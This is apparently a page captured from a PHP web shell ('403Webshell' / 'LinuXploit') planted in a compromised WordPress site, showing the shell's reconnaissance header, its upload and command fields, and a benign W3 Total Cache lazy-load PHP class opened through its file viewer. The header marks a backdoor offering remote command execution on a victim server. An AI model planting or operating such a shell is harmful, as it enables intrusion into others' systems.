403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tgnew/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tgnew/wp-content/plugins/w3-total-cache/UserExperience_LazyLoad_Mutator_Picture.php
<?php
/**
 * File: UserExperience_LazyLoad_Mutator_Picture.php
 *
 * @package W3TC
 */

namespace W3TC;

/**
 * Class UserExperience_LazyLoad_Mutator_Picture
 */
class UserExperience_LazyLoad_Mutator_Picture {
	/**
	 * Constructor for the UserExperience_LazyLoad_Mutator_Picture class.
	 *
	 * An instance of a common utility class used to process image and source tags.
	 *
	 * @var object
	 */
	private $common;

	/**
	 * Initializes the class with a common utility instance.
	 *
	 * @param object $common An instance of a utility class for handling image and source tag processing.
	 *
	 * @return void
	 */
	public function __construct( $common ) {
		$this->common = $common;
	}

	/**
	 * Processes the provided content to modify `<img>` and `<source>` tags.
	 *
	 * This method replaces the `srcset` and `sizes` attributes in `<source>` tags with `data-srcset` and `data-sizes`,
	 * and applies custom modifications to `<img>` tags using utility methods.
	 *
	 * @param string $content The content containing `<img>` and `<source>` tags to be processed.
	 *
	 * @return string The modified content with lazy-loading attributes applied.
	 */
	public function run( $content ) {
		$content = preg_replace_callback(
			'~(<img\s[^>]+>)~i',
			array( $this, 'tag_img' ),
			$content
		);

		$content = preg_replace_callback(
			'~(<source\s[^>]+>)~i',
			array( $this, 'tag_source' ),
			$content
		);

		return $content;
	}

	/**
	 * Processes a matched `<img>` tag.
	 *
	 * This method retrieves the dimensions of the image and replaces its attributes with lazy-loading compatible attributes.
	 *
	 * @param array $matches The matches from the regular expression containing the `<img>` tag.
	 *
	 * @return string The modified `<img>` tag with lazy-loading attributes applied.
	 */
	public function tag_img( $matches ) {
		$content = $matches[0];

		// get image dimensions.
		$dim = $this->common->tag_get_dimensions( $content );
		return $this->common->tag_img_content_replace( $content, $dim );
	}

	/**
	 * Processes a matched `<source>` tag.
	 *
	 * This method replaces the `srcset` and `sizes` attributes with `data-srcset` and `data-sizes`
	 * to delay loading the sources until needed.
	 *
	 * @param array $matches The matches from the regular expression containing the `<source>` tag.
	 *
	 * @return string The modified `<source>` tag with lazy-loading attributes applied.
	 */
	private function tag_source( $matches ) {
		$content = $matches[0];

		$content = preg_replace(
			'~(\s)(srcset|sizes)=~i',
			'$1data-$2=',
			$content
		);

		return $content;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit